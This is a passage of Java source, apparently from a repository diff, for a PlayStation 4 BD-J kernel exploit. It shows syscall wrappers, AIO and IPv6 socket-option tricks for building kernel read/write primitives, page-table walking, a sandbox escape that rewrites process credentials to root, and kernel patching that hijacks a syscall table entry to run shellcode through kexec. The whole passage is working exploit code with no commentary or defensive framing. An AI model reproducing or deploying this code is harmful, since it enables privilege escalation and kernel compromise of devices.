public static final int SYS_DYNLIB_LOAD_PRX = 0x252;
public static final int SYS_DYNLIB_UNLOAD_PRX = 0x253;
public static final int SYS_AIO_MULTI_DELETE = 0x296;
public static final int SYS_AIO_MULTI_WAIT = 0x297;
public static final int SYS_AIO_MULTI_POLL = 0x298;
public static final int SYS_AIO_MULTI_CANCEL = 0x29a;
public static final int SYS_AIO_SUBMIT_CMD = 0x29d;
public static final int SYS_MUNMAP = 0x49;
public static final int SYS_MMAP = 477;
public static final int SYS_JITSHM_CREATE = 0x215;
public static final int SYS_JITSHM_ALIAS = 0x216;
public static final int SYS_KEXEC = 0x295;
public static final int SYS_SETUID = 0x17;
public static API api;
private static long libkernelBase;
private static long[] syscallWrappers;
public static Buffer AIO_ERRORS;
private static String firmwareVersion;
static {
try {
api = API.getInstance();
syscallWrappers = new long[0x400];
AIO_ERRORS = new Buffer(4 * MAX_AIO_IDS);
initSyscalls();
detectFirmwareVersion();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
public static long getLibkernelBase() {
return libkernelBase;
}
private static void initSyscalls() throws Exception {
collectInfo();
findSyscallWrappers();
int[] requiredSyscalls = {
SYS_AIO_SUBMIT_CMD, SYS_AIO_MULTI_DELETE, SYS_AIO_MULTI_WAIT,
SYS_AIO_MULTI_POLL, SYS_AIO_MULTI_CANCEL, SYS_SOCKET,
SYS_BIND, SYS_LISTEN, SYS_CONNECT, SYS_ACCEPT,
SYS_SETSOCKOPT, SYS_GETSOCKOPT, SYS_SOCKETPAIR,
SYS_READ, SYS_WRITE, SYS_CLOSE, SYS_OPEN,
SYS_EVF_CREATE, SYS_EVF_DELETE, SYS_EVF_SET, SYS_EVF_CLEAR,
SYS_GETPID, SYS_GETUID, SYS_SYSCTL, SYS_IS_IN_SANDBOX,
SYS_CPUSET_GETAFFINITY, SYS_CPUSET_SETAFFINITY, SYS_RTPRIO_THREAD,
SYS_MUNMAP, SYS_MMAP, SYS_JITSHM_CREATE, SYS_JITSHM_ALIAS, SYS_KEXEC, SYS_SETUID
};
boolean allFound = true;
for (int i = 0; i < requiredSyscalls.length; i++) {
int syscall = requiredSyscalls[i];
if (syscallWrappers[syscall] == 0) {
allFound = false;
}
}
if (!allFound) {
throw new RuntimeException("Required syscalls not found");
}
}
private static void detectFirmwareVersion() {
firmwareVersion = sysctlByName("kern.sdk_version");
}
public static String getCurrentFirmwareVersion() {
return firmwareVersion;
}
private static String sysctlByName(String name) {
Buffer translateNameMib = new Buffer(8);
Buffer mib = new Buffer(0x70);
Buffer size = new Buffer(8);
Buffer resultBuf = new Buffer(8);
Buffer resultSize = new Buffer(8);
// Setup translate name mib
translateNameMib.putLong(0, 0x300000000L);
size.putLong(0, 0x70);
// Convert string name to byte array with null terminator
byte[] nameBytes = new byte[name.length() + 1];
for (int i = 0; i < name.length(); i++) {
nameBytes[i] = (byte)name.charAt(i);
}
nameBytes[name.length()] = 0;
Buffer nameBuffer = new Buffer(nameBytes.length);
nameBuffer.put(0, nameBytes);
// Translate name to mib
long result = syscall(SYS_SYSCTL, translateNameMib.address(), 2L,
mib.address(), size.address(),
nameBuffer.address(), (long)nameBytes.length);
if (result < 0) {
throw new RuntimeException("Failed to translate sysctl name to mib: " + name);
}
// Get the actual value
resultSize.putLong(0, 8);
result = syscall(SYS_SYSCTL, mib.address(), 2L,
resultBuf.address(), resultSize.address(), 0L, 0L);
if (result < 0) {
throw new RuntimeException("Failed to get sysctl value for: " + name);
}
int majorByte = resultBuf.getByte(3) & 0xFF; // Second byte of version data
int minorByte = resultBuf.getByte(2) & 0xFF; // First byte of version data
String majorHex = Integer.toHexString(majorByte);
String minorHex = Integer.toHexString(minorByte);
if (minorHex.length() == 1) {
minorHex = "0" + minorHex;
}
return majorHex + "." + minorHex;
}
public static boolean isJailbroken() {
try {
long setuidResult = syscall(SYS_SETUID, 0L);
if (setuidResult == 0) {
return true;
} else {
return false;
}
} catch (Exception e) {
return false;
}
}
private static void collectInfo() throws Exception {
final int SEGMENTS_OFFSET = 0x160;
long sceKernelGetModuleInfoFromAddr = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelGetModuleInfoFromAddr");
if (sceKernelGetModuleInfoFromAddr == 0) {
throw new RuntimeException("sceKernelGetModuleInfoFromAddr not found");
}
long addrInsideLibkernel = sceKernelGetModuleInfoFromAddr;
Buffer modInfo = new Buffer(0x300);
long ret = api.call(sceKernelGetModuleInfoFromAddr, addrInsideLibkernel, 1, modInfo.address());
if (ret != 0) {
throw new RuntimeException("sceKernelGetModuleInfoFromAddr() error: 0x" + Long.toHexString(ret));
}
libkernelBase = api.read64(modInfo.address() + SEGMENTS_OFFSET);
}
private static void findSyscallWrappers() {
final int TEXT_SIZE = 0x40000;
byte[] libkernelText = new byte[TEXT_SIZE];
for (int i = 0; i < TEXT_SIZE; i++) {
libkernelText[i] = api.read8(libkernelBase + i);
}
for (int i = 0; i <= TEXT_SIZE - 12; i++) {
if (libkernelText[i] == 0x48 &&
libkernelText[i + 1] == (byte)0xc7 &&
libkernelText[i + 2] == (byte)0xc0 &&
libkernelText[i + 7] == 0x49 &&
libkernelText[i + 8] == (byte)0x89 &&
libkernelText[i + 9] == (byte)0xca &&
libkernelText[i + 10] == 0x0f &&
libkernelText[i + 11] == 0x05) {
int syscallNum = (libkernelText[i + 3] & 0xFF) |
((libkernelText[i + 4] & 0xFF) << 8) |
((libkernelText[i + 5] & 0xFF) << 16) |
((libkernelText[i + 6] & 0xFF) << 24);
if (syscallNum >= 0 && syscallNum < syscallWrappers.length) {
syscallWrappers[syscallNum] = libkernelBase + i;
}
}
}
}
// Syscall wrappers
public static long syscall(int number, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3, arg4, arg5);
}
public static long syscall(int number, long arg0, long arg1, long arg2, long arg3, long arg4) {
return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3, arg4);
}
public static long syscall(int number, long arg0, long arg1, long arg2, long arg3) {
return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3);
}
public static long syscall(int number, long arg0, long arg1, long arg2) {
return api.call(syscallWrappers[number], arg0, arg1, arg2);
}
public static long syscall(int number, long arg0, long arg1) {
return api.call(syscallWrappers[number], arg0, arg1);
}
public static long syscall(int number, long arg0) {
return api.call(syscallWrappers[number], arg0);
}
public static long syscall(int number) {
return api.call(syscallWrappers[number]);
}
// Utility functions
public static short htons(int port) {
return (short)(((port << 8) | (port >>> 8)) & 0xFFFF);
}
public static int aton(String ip) {
String[] parts = split(ip, "\\.");
int a = Integer.parseInt(parts[0]);
int b = Integer.parseInt(parts[1]);
int c = Integer.parseInt(parts[2]);
int d = Integer.parseInt(parts[3]);
return (d << 24) | (c << 16) | (b << 8) | a;
}
public static String toHexString(int value, int minWidth) {
String hex = Integer.toHexString(value);
StringBuffer sb = new StringBuffer();
for (int i = hex.length(); i < minWidth; i++) {
sb.append("0");
}
sb.append(hex);
return sb.toString();
}
public static String[] split(String str, String regex) {
java.util.Vector parts = new java.util.Vector();
int start = 0;
int pos = 0;
while ((pos = str.indexOf(".", start)) != -1) {
parts.addElement(str.substring(start, pos));
start = pos + 1;
}
parts.addElement(str.substring(start));
String[] result = new String[parts.size()];
for (int i = 0; i < parts.size(); i++) {
result[i] = (String)parts.elementAt(i);
}
return result;
}
public static int createUdpSocket() {
long result = syscall(SYS_SOCKET, (long)AF_INET6, (long)SOCK_DGRAM, (long)IPPROTO_UDP);
if (result == -1) {
throw new RuntimeException("new_socket() error: " + result);
}
return (int)result;
}
public static int createTcpSocket() {
long result = syscall(SYS_SOCKET, (long)AF_INET, (long)SOCK_STREAM, 0L);
if (result == -1) {
throw new RuntimeException("new_tcp_socket() error: " + result);
}
return (int)result;
}
public static void setSockOpt(int sd, int level, int optname, Buffer optval, int optlen) {
long result = syscall(SYS_SETSOCKOPT, (long)sd, (long)level, (long)optname, optval.address(), (long)optlen);
if (result == -1) {
throw new RuntimeException("setsockopt() error: " + result);
}
}
public static int getSockOpt(int sd, int level, int optname, Buffer optval, int optlen) {
Buffer size = new Buffer(8);
size.putInt(0, optlen);
long result = syscall(SYS_GETSOCKOPT, (long)sd, (long)level, (long)optname, optval.address(), size.address());
if (result == -1) {
throw new RuntimeException("getsockopt() error: " + result);
}
return size.getInt(0);
}
public static int getCurrentCore() {
try {
Buffer mask = new Buffer(0x10);
mask.fill((byte)0);
long result = syscall(SYS_CPUSET_GETAFFINITY, (long)CPU_LEVEL_WHICH, (long)CPU_WHICH_TID, -1L, 0x10L, mask.address());
if (result != 0) {
return -1;
}
int maskValue = mask.getInt(0);
int position = 0;
int num = maskValue;
while (num > 0) {
num = num >>> 1;
position++;
}
return Math.max(0, position - 1);
} catch (Exception e) {
return -1;
}
}
public static boolean pinToCore(int core) {
try {
Buffer mask = new Buffer(0x10);
mask.fill((byte)0);
int maskValue = 1 << core;
mask.putShort(0, (short)maskValue);
long result = syscall(SYS_CPUSET_SETAFFINITY, (long)CPU_LEVEL_WHICH, (long)CPU_WHICH_TID, -1L, 0x10L, mask.address());
return result == 0;
} catch (Exception e) {
return false;
}
}
public static boolean setRealtimePriority(int priority) {
try {
Buffer rtprio = new Buffer(0x4);
rtprio.putShort(0, (short)RTP_PRIO_REALTIME);
rtprio.putShort(2, (short)priority);
long result = syscall(SYS_RTPRIO_THREAD, (long)RTP_SET, 0L, rtprio.address());
return result == 0;
} catch (Exception e) {
return false;
}
}
// AIO operations
public static Buffer createAioRequests(int numReqs) {
Buffer reqs1 = new Buffer(0x28 * numReqs);
for (int i = 0; i < numReqs; i++) {
reqs1.putInt(i * 0x28 + 0x20, -1); // fd = -1
}
return reqs1;
}
public static long aioSubmitCmd(int cmd, long reqs, int numReqs, int prio, long ids) {
return syscall(SYS_AIO_SUBMIT_CMD, (long)cmd, reqs, (long)numReqs, (long)prio, ids);
}
public static long aioMultiCancel(long ids, int numIds, long states) {
return syscall(SYS_AIO_MULTI_CANCEL, ids, (long)numIds, states);
}
public static long aioMultiPoll(long ids, int numIds, long states) {
return syscall(SYS_AIO_MULTI_POLL, ids, (long)numIds, states);
}
public static long aioMultiDelete(long ids, int numIds, long states) {
return syscall(SYS_AIO_MULTI_DELETE, ids, (long)numIds, states);
}
public static long aioMultiWait(long ids, int numIds, long states, int mode, long timeout) {
return syscall(SYS_AIO_MULTI_WAIT, ids, (long)numIds, states, (long)mode, timeout);
}
// Bulk AIO operations
public static void cancelAios(long ids, int numIds) {
int len = MAX_AIO_IDS;
int rem = numIds % len;
int numBatches = (numIds - rem) / len;
for (int i = 0; i < numBatches; i++) {
aioMultiCancel(ids + (i * 4 * len), len, AIO_ERRORS.address());
}
if (rem > 0) {
aioMultiCancel(ids + (numBatches * 4 * len), rem, AIO_ERRORS.address());
}
}
public static void freeAios(long ids, int numIds, boolean doCancel) {
int len = MAX_AIO_IDS;
int rem = numIds % len;
int numBatches = (numIds - rem) / len;
for (int i = 0; i < numBatches; i++) {
long addr = ids + (i * 4 * len);
if (doCancel) {
aioMultiCancel(addr, len, AIO_ERRORS.address());
}
aioMultiPoll(addr, len, AIO_ERRORS.address());
aioMultiDelete(addr, len, AIO_ERRORS.address());
}
if (rem > 0) {
long addr = ids + (numBatches * 4 * len);
if (doCancel) {
aioMultiCancel(addr, rem, AIO_ERRORS.address());
}
aioMultiPoll(addr, rem, AIO_ERRORS.address());
aioMultiDelete(addr, rem, AIO_ERRORS.address());
}
}
public static void freeAios(long ids, int numIds) {
freeAios(ids, numIds, true);
}
// IPv6 routing header operations
public static int buildRoutingHeader(Buffer buf, int size) {
int len = ((size >>> 3) - 1) & (~1);
size = (len + 1) << 3;
buf.putByte(0, (byte)0); // ip6r_nxt
buf.putByte(1, (byte)len); // ip6r_len
buf.putByte(2, (byte)0); // ip6r_type
buf.putByte(3, (byte)(len >>> 1)); // ip6r_segleft
return size;
}
public static int getRthdr(int sd, Buffer buf, int len) {
return getSockOpt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
public static void setRthdr(int sd, Buffer buf, int len) {
setSockOpt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
}
public static void freeRthdrs(int[] sds) {
for (int i = 0; i < sds.length; i++) {
if (sds[i] >= 0) {
setSockOpt(sds[i], IPPROTO_IPV6, IPV6_RTHDR, new Buffer(1), 0);
}
}
}
// EVF operations
public static int createEvf(long name, int flags) {
long result = syscall(SYS_EVF_CREATE, name, 0L, (long)flags);
if (result == -1) {
throw new RuntimeException("evf_create() error: " + result);
}
return (int)result;
}
public static void setEvfFlags(int id, int flags) {
long clearResult = syscall(SYS_EVF_CLEAR, (long)id, 0L);
if (clearResult == -1) {
throw new RuntimeException("evf_clear() error: " + clearResult);
}
long setResult = syscall(SYS_EVF_SET, (long)id, (long)flags);
if (setResult == -1) {
throw new RuntimeException("evf_set() error: " + setResult);
}
}
public static void freeEvf(int id) {
long result = syscall(SYS_EVF_DELETE, (long)id);
if (result == -1) {
throw new RuntimeException("evf_delete() error: " + result);
}
}
// Array manipulation helpers
public static void removeSocketFromArray(int[] sds, int index) {
if (index >= 0 && index < sds.length) {
for (int i = index; i < sds.length - 1; i++) {
sds[i] = sds[i + 1];
}
sds[sds.length - 1] = -1;
}
}
public static void addSocketToArray(int[] sds, int socket) {
for (int i = 0; i < sds.length; i++) {
if (sds[i] == -1) {
sds[i] = socket;
break;
}
}
}
// String extraction helper
public static String extractStringFromBuffer(Buffer buf) {
StringBuffer sb = new StringBuffer();
for (int i = 0; i < 8; i++) {
byte b = buf.getByte(i);
if (b == 0) break;
if (b >= 32 && b <= 126) {
sb.append((char)b);
} else {
break;
}
}
return sb.toString();
}
}

580
src/org/bdj/external/Kernel.java vendored Normal file
View File

@@ -0,0 +1,580 @@
package org.bdj.external;
import org.bdj.api.*;
public class Kernel {
private static API api;
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
public static class KernelAddresses {
public long evfString = 0;
public long curproc = 0;
public long dataBase = 0;
public long curprocFd = 0;
public long curprocOfiles = 0;
public long insideKdata = 0;
public long dmapBase = 0;
public long kernelCr3 = 0;
public long allproc = 0;
public long base = 0;
public boolean isInitialized() {
return curproc != 0 && insideKdata != 0;
}
public void reset() {
evfString = 0;
curproc = 0;
dataBase = 0;
curprocFd = 0;
curprocOfiles = 0;
insideKdata = 0;
dmapBase = 0;
kernelCr3 = 0;
allproc = 0;
base = 0;
}
}
public static KernelAddresses addr = new KernelAddresses();
public interface KernelInterface {
void copyout(long kaddr, long uaddr, int len);
void copyin(long uaddr, long kaddr, int len);
void readBuffer(long kaddr, Buffer buf, int len);
void writeBuffer(long kaddr, Buffer buf, int len);
long kread8(long addr);
void kwrite8(long addr, long val);
int kread32(long addr);
void kwrite32(long addr, int val);
}
// Global kernel R/W instance
public static KernelInterface kernelRW = null;
// Kernel read/write primitives
public static class KernelRW implements KernelInterface {
private int masterSock;
private int workerSock;
private Buffer masterTargetBuffer;
private Buffer slaveBuffer;
private long curprocOfiles;
// Pipe-based kernel R/W
private int pipeReadFd = -1;
private int pipeWriteFd = -1;
private long pipeAddr = 0;
private Buffer pipemapBuffer;
private Buffer readMem;
private boolean pipeInitialized = false;
public KernelRW(int masterSock, int workerSock, long curprocOfiles) {
this.masterSock = masterSock;
this.workerSock = workerSock;
this.curprocOfiles = curprocOfiles;
this.masterTargetBuffer = new Buffer(0x14);
this.slaveBuffer = new Buffer(0x14);
this.pipemapBuffer = new Buffer(0x14);
this.readMem = new Buffer(0x1000);
}
public void initializePipeRW() {
if (pipeInitialized) return;
createPipePair();
if (pipeReadFd > 0 && pipeWriteFd > 0) {
pipeAddr = getFdDataAddr(pipeReadFd);
if ((pipeAddr >>> 48) == 0xFFFF) {
pipeInitialized = true;
kernelRW = this;
} else {
}
} else {
}
}
private void createPipePair() {
Buffer fildes = new Buffer(8);
long result = Helper.syscall(Helper.SYS_PIPE, fildes.address());
if (result == 0) {
pipeReadFd = fildes.getInt(0);
pipeWriteFd = fildes.getInt(4);
}
}
private void ipv6WriteToVictim(long kaddr) {
masterTargetBuffer.putLong(0, kaddr);
masterTargetBuffer.putLong(8, 0);
masterTargetBuffer.putInt(16, 0);
Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, masterTargetBuffer, 0x14);
}
private void ipv6KernelRead(long kaddr, Buffer bufferAddr) {
ipv6WriteToVictim(kaddr);
Helper.getSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, bufferAddr, 0x14);
}
private void ipv6KernelWrite(long kaddr, Buffer bufferAddr) {
ipv6WriteToVictim(kaddr);
Helper.setSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, bufferAddr, 0x14);
}
private long ipv6KernelRead8(long kaddr) {
ipv6KernelRead(kaddr, slaveBuffer);
return slaveBuffer.getLong(0);
}
private void ipv6KernelWrite8(long kaddr, long val) {
slaveBuffer.putLong(0, val);
slaveBuffer.putLong(8, 0);
slaveBuffer.putInt(16, 0);
ipv6KernelWrite(kaddr, slaveBuffer);
}
public void copyout(long kaddr, long uaddr, int len) {
pipemapBuffer.putLong(0, 0x4000000040000000L);
pipemapBuffer.putLong(8, 0x4000000000000000L);
pipemapBuffer.putInt(16, 0);
ipv6KernelWrite(pipeAddr, pipemapBuffer);
pipemapBuffer.putLong(0, kaddr);
pipemapBuffer.putLong(8, 0);
pipemapBuffer.putInt(16, 0);
ipv6KernelWrite(pipeAddr + 0x10, pipemapBuffer);
Helper.syscall(Helper.SYS_READ, (long)pipeReadFd, uaddr, (long)len);
}
public void copyin(long uaddr, long kaddr, int len) {
pipemapBuffer.putLong(0, 0);
pipemapBuffer.putLong(8, 0x4000000000000000L);
pipemapBuffer.putInt(16, 0);
ipv6KernelWrite(pipeAddr, pipemapBuffer);
pipemapBuffer.putLong(0, kaddr);
pipemapBuffer.putLong(8, 0);
pipemapBuffer.putInt(16, 0);
ipv6KernelWrite(pipeAddr + 0x10, pipemapBuffer);
Helper.syscall(Helper.SYS_WRITE, (long)pipeWriteFd, uaddr, (long)len);
}
public void readBuffer(long kaddr, Buffer buf, int len) {
Buffer mem = readMem;
copyout(kaddr, mem.address(), len);
for (int i = 0; i < len; i++) {
buf.putByte(i, mem.getByte(i));
}
}
public void writeBuffer(long kaddr, Buffer buf, int len) {
copyin(buf.address(), kaddr, len);
}
public long getFdDataAddr(int sock) {
long filedescentAddr = curprocOfiles + sock * KernelOffset.SIZEOF_OFILES;
long fileAddr = ipv6KernelRead8(filedescentAddr + 0x0);
return ipv6KernelRead8(fileAddr + 0x0);
}
public long getSockPktopts(int sock) {
long fdData = getFdDataAddr(sock);
long pcb = ipv6KernelRead8(fdData + KernelOffset.SO_PCB);
return ipv6KernelRead8(pcb + KernelOffset.INPCB_PKTOPTS);
}
// Setup pktinfo overlap for fast R/W
public void setupPktinfo(long workerPktopts) {
masterTargetBuffer.putLong(0, workerPktopts + 0x10);
masterTargetBuffer.putLong(8, 0);
masterTargetBuffer.putInt(16, 0);
Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, masterTargetBuffer, 0x14);
// Initialize pipes immediately
initializePipeRW();
}
public long kread8(long addr) {
Buffer buf = new Buffer(8);
readBuffer(addr, buf, 8);
return buf.getLong(0);
}
public void kwrite8(long addr, long val) {
Buffer buf = new Buffer(8);
buf.putLong(0, val);
writeBuffer(addr, buf, 8);
}
public int kread32(long addr) {
Buffer buf = new Buffer(4);
readBuffer(addr, buf, 4);
return buf.getInt(0);
}
public void kwrite32(long addr, int val) {
Buffer buf = new Buffer(4);
buf.putInt(0, val);
writeBuffer(addr, buf, 4);
}
}
public static String readNullTerminatedString(long kaddr) {
if (!isKernelRWAvailable()) {
return "";
}
StringBuffer sb = new StringBuffer();
while (sb.length() < 1000) {
long value = kernelRW.kread8(kaddr);
for (int i = 0; i < 8; i++) {
byte b = (byte)((value >>> (i * 8)) & 0xFF);
if (b == 0) {
return sb.toString();
}
if (b >= 32 && b <= 126) {
sb.append((char)(b & 0xFF));
} else {
return sb.toString();
}
}
kaddr += 8;
}
return sb.toString();
}
public static long slowKread8(int masterSock, Buffer pktinfo, int pktinfoLen, Buffer readBuf, long addr) {
int len = 8;
int offset = 0;
for (int i = 0; i < len; i++) {
readBuf.putByte(i, (byte)0);
}
while (offset < len) {
pktinfo.putLong(8, addr + offset);
Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, pktinfo, pktinfoLen);
Buffer tempBuf = new Buffer(len - offset);
int n = Helper.getSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_NEXTHOP, tempBuf, len - offset);
if (n == 0) {
readBuf.putByte(offset, (byte)0);
offset++;
} else {
for (int i = 0; i < n; i++) {
readBuf.putByte(offset + i, tempBuf.getByte(i));
}
offset += n;
}
}
return readBuf.getLong(0);
}
public static long getFdDataAddrSlow(int masterSock, Buffer pktinfo, int pktinfoLen, Buffer readBuf, int sock, long curprocOfiles) {
long filedescentAddr = curprocOfiles + sock * KernelOffset.SIZEOF_OFILES;
long fileAddr = slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, filedescentAddr + 0x0);
return slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, fileAddr + 0x0);
}
public static long findProcByName(String name) {
if (!isKernelRWAvailable()) {
return 0;
}
long proc = kernelRW.kread8(addr.allproc);
int count = 0;
while (proc != 0 && count < 100) {
String procName = readNullTerminatedString(proc + KernelOffset.PROC_COMM);
if (name.equals(procName)) {
return proc;
}
proc = kernelRW.kread8(proc + 0x0);
count++;
}
return 0;
}
public static long findProcByPid(int pid) {
if (!isKernelRWAvailable()) {
return 0;
}
long proc = kernelRW.kread8(addr.allproc);
int count = 0;
while (proc != 0 && count < 100) {
int procPid = kernelRW.kread32(proc + KernelOffset.PROC_PID);
if (procPid == pid) {
return proc;
}
proc = kernelRW.kread8(proc + 0x0);
count++;
}
return 0;
}
public static long getProcCr3(long proc) {
long vmspace = kernelRW.kread8(proc + KernelOffset.PROC_VM_SPACE);
long pmapStore = kernelRW.kread8(vmspace + KernelOffset.VMSPACE_VM_PMAP);
return kernelRW.kread8(pmapStore + KernelOffset.PMAP_CR3);
}
public static long virtToPhys(long virtAddr, long cr3) {
if (cr3 == 0) {
cr3 = addr.kernelCr3;
}
return cpuWalkPt(cr3, virtAddr);
}
public static long physToDmap(long physAddr) {
return addr.dmapBase + physAddr;
}
// CPU page table walking
private static final long CPU_PG_PHYS_FRAME = 0x000ffffffffff000L;
private static final long CPU_PG_PS_FRAME = 0x000fffffffe00000L;
private static int cpuPdeField(long pde, String field) {
int shift = 0;
int mask = 0;
if ("PRESENT".equals(field)) { shift = 0; mask = 1; }
else if ("RW".equals(field)) { shift = 1; mask = 1; }
else if ("USER".equals(field)) { shift = 2; mask = 1; }
else if ("PS".equals(field)) { shift = 7; mask = 1; }
else if ("EXECUTE_DISABLE".equals(field)) { shift = 63; mask = 1; }
return (int)((pde >>> shift) & mask);
}
public static long cpuWalkPt(long cr3, long vaddr) {
long pml4eIndex = (vaddr >>> 39) & 0x1ff;
long pdpeIndex = (vaddr >>> 30) & 0x1ff;
long pdeIndex = (vaddr >>> 21) & 0x1ff;
long pteIndex = (vaddr >>> 12) & 0x1ff;
// pml4
long pml4e = kernelRW.kread8(physToDmap(cr3) + pml4eIndex * 8);
if (cpuPdeField(pml4e, "PRESENT") != 1) {
return 0;
}
// pdp
long pdpBasePa = pml4e & CPU_PG_PHYS_FRAME;
long pdpeVa = physToDmap(pdpBasePa) + pdpeIndex * 8;
long pdpe = kernelRW.kread8(pdpeVa);
if (cpuPdeField(pdpe, "PRESENT") != 1) {
return 0;
}
// pd
long pdBasePa = pdpe & CPU_PG_PHYS_FRAME;
long pdeVa = physToDmap(pdBasePa) + pdeIndex * 8;
long pde = kernelRW.kread8(pdeVa);
if (cpuPdeField(pde, "PRESENT") != 1) {
return 0;
}
// large page
if (cpuPdeField(pde, "PS") == 1) {
return (pde & CPU_PG_PS_FRAME) | (vaddr & 0x1fffff);
}
// pt
long ptBasePa = pde & CPU_PG_PHYS_FRAME;
long pteVa = physToDmap(ptBasePa) + pteIndex * 8;
long pte = kernelRW.kread8(pteVa);
if (cpuPdeField(pte, "PRESENT") != 1) {
return 0;
}
return (pte & CPU_PG_PHYS_FRAME) | (vaddr & 0x3fff);
}
public static boolean postExploitationPS4() {
if (addr.curproc == 0 || addr.insideKdata == 0) {
return false;
}
long evfPtr = addr.insideKdata;
String evfString = readNullTerminatedString(evfPtr);
if (!"evf cv".equals(evfString)) {
return false;
}
addr.dataBase = evfPtr - KernelOffset.getPS4Offset("EVF_OFFSET");
if (!verifyElfHeader()) {
return false;
}
if (!escapeSandbox(addr.curproc)) {
return false;
}
applyKernelPatchesPS4();
return true;
}
private static boolean verifyElfHeader() {
long headerValue = kernelRW.kread8(addr.dataBase);
int b0 = (int)(headerValue & 0xFF);
int b1 = (int)((headerValue >>> 8) & 0xFF);
int b2 = (int)((headerValue >>> 16) & 0xFF);
int b3 = (int)((headerValue >>> 24) & 0xFF);
if (b0 == 0x7F && b1 == 0x45 && b2 == 0x4C && b3 == 0x46) {
return true;
} else {
}
return false;
}
private static boolean escapeSandbox(long curproc) {
if ((curproc >>> 48) != 0xFFFF) {
return false;
}
long PRISON0 = addr.dataBase + KernelOffset.getPS4Offset("PRISON0");
long ROOTVNODE = addr.dataBase + KernelOffset.getPS4Offset("ROOTVNODE");
long OFFSET_P_UCRED = 0x40;
long procFd = kernelRW.kread8(curproc + KernelOffset.PROC_FD);
long ucred = kernelRW.kread8(curproc + OFFSET_P_UCRED);
if ((procFd >>> 48) != 0xFFFF || (ucred >>> 48) != 0xFFFF) {
return false;
}
kernelRW.kwrite32(ucred + 0x04, 0); // cr_uid
kernelRW.kwrite32(ucred + 0x08, 0); // cr_ruid
kernelRW.kwrite32(ucred + 0x0C, 0); // cr_svuid
kernelRW.kwrite32(ucred + 0x10, 1); // cr_ngroups
kernelRW.kwrite32(ucred + 0x14, 0); // cr_rgid
long prison0 = kernelRW.kread8(PRISON0);
if ((prison0 >>> 48) != 0xFFFF) {
return false;
}
kernelRW.kwrite8(ucred + 0x30, prison0);
// Add JIT privileges
kernelRW.kwrite8(ucred + 0x60, -1);
kernelRW.kwrite8(ucred + 0x68, -1);
long rootvnode = kernelRW.kread8(ROOTVNODE);
if ((rootvnode >>> 48) != 0xFFFF) {
return false;
}
kernelRW.kwrite8(procFd + 0x10, rootvnode); // fd_rdir
kernelRW.kwrite8(procFd + 0x18, rootvnode); // fd_jdir
return true;
}
private static void applyKernelPatchesPS4() {
byte[] shellcode = KernelOffset.getKernelPatchesShellcode();
if (shellcode.length == 0) {
return;
}
long mappingAddr = 0x920100000L;
long shadowMappingAddr = 0x926100000L;
long sysent661Addr = addr.dataBase + KernelOffset.getPS4Offset("SYSENT_661_OFFSET");
int syNarg = kernelRW.kread32(sysent661Addr);
long syCall = kernelRW.kread8(sysent661Addr + 8);
int syThrcnt = kernelRW.kread32(sysent661Addr + 0x2c);
kernelRW.kwrite32(sysent661Addr, 2);
kernelRW.kwrite8(sysent661Addr + 8, addr.dataBase + KernelOffset.getPS4Offset("JMP_RSI_GADGET"));
kernelRW.kwrite32(sysent661Addr + 0x2c, 1);
int PROT_READ = 0x1;
int PROT_WRITE = 0x2;
int PROT_EXEC = 0x4;
int PROT_RW = PROT_READ | PROT_WRITE;
int PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC;
int alignedMemsz = 0x10000;
// create shm with exec permission
long execHandle = Helper.syscall(Helper.SYS_JITSHM_CREATE, 0L, (long)alignedMemsz, (long)PROT_RWX);
// create shm alias with write permission
long writeHandle = Helper.syscall(Helper.SYS_JITSHM_ALIAS, execHandle, (long)PROT_RW);
// map shadow mapping and write into it
Helper.syscall(Helper.SYS_MMAP, shadowMappingAddr, (long)alignedMemsz, (long)PROT_RW, 0x11L, writeHandle, 0L);
for (int i = 0; i < shellcode.length; i++) {
api.write8(shadowMappingAddr + i, shellcode[i]);
}
// map executable segment
Helper.syscall(Helper.SYS_MMAP, mappingAddr, (long)alignedMemsz, (long)PROT_RWX, 0x11L, execHandle, 0L);
Helper.syscall(Helper.SYS_KEXEC, mappingAddr);
kernelRW.kwrite32(sysent661Addr, syNarg);
kernelRW.kwrite8(sysent661Addr + 8, syCall);
kernelRW.kwrite32(sysent661Addr + 0x2c, syThrcnt);
Helper.syscall(Helper.SYS_CLOSE, writeHandle);
}
public static void setKernelAddresses(long curproc, long curprocOfiles, long insideKdata, long allproc) {
addr.curproc = curproc;
addr.curprocOfiles = curprocOfiles;
addr.insideKdata = insideKdata;
addr.allproc = allproc;
}
public static boolean isKernelRWAvailable() {
return kernelRW != null && addr.isInitialized();
}
public static void initializeKernelOffsets() {
KernelOffset.initializeFromHelper();
}
}

193
src/org/bdj/external/KernelOffset.java vendored Normal file
View File

@@ -0,0 +1,193 @@
package org.bdj.external;
import java.util.Hashtable;
public class KernelOffset {
// proc structure
public static final int PROC_PID = 0xb0;
public static final int PROC_FD = 0x48;
public static final int PROC_VM_SPACE = 0x200;
public static final int PROC_COMM = 0x448;
public static final int PROC_SYSENT = 0x470;
// filedesc
public static final int FILEDESC_OFILES = 0x0;
public static final int SIZEOF_OFILES = 0x8;
// vmspace structure
public static final int VMSPACE_VM_PMAP = 0x1C8;
public static final int VMSPACE_VM_VMID = 0x1D4;
// pmap structure
public static final int PMAP_CR3 = 0x28;
// network
public static final int SO_PCB = 0x18;
public static final int INPCB_PKTOPTS = 0x118;
// PS4 IPv6 structure
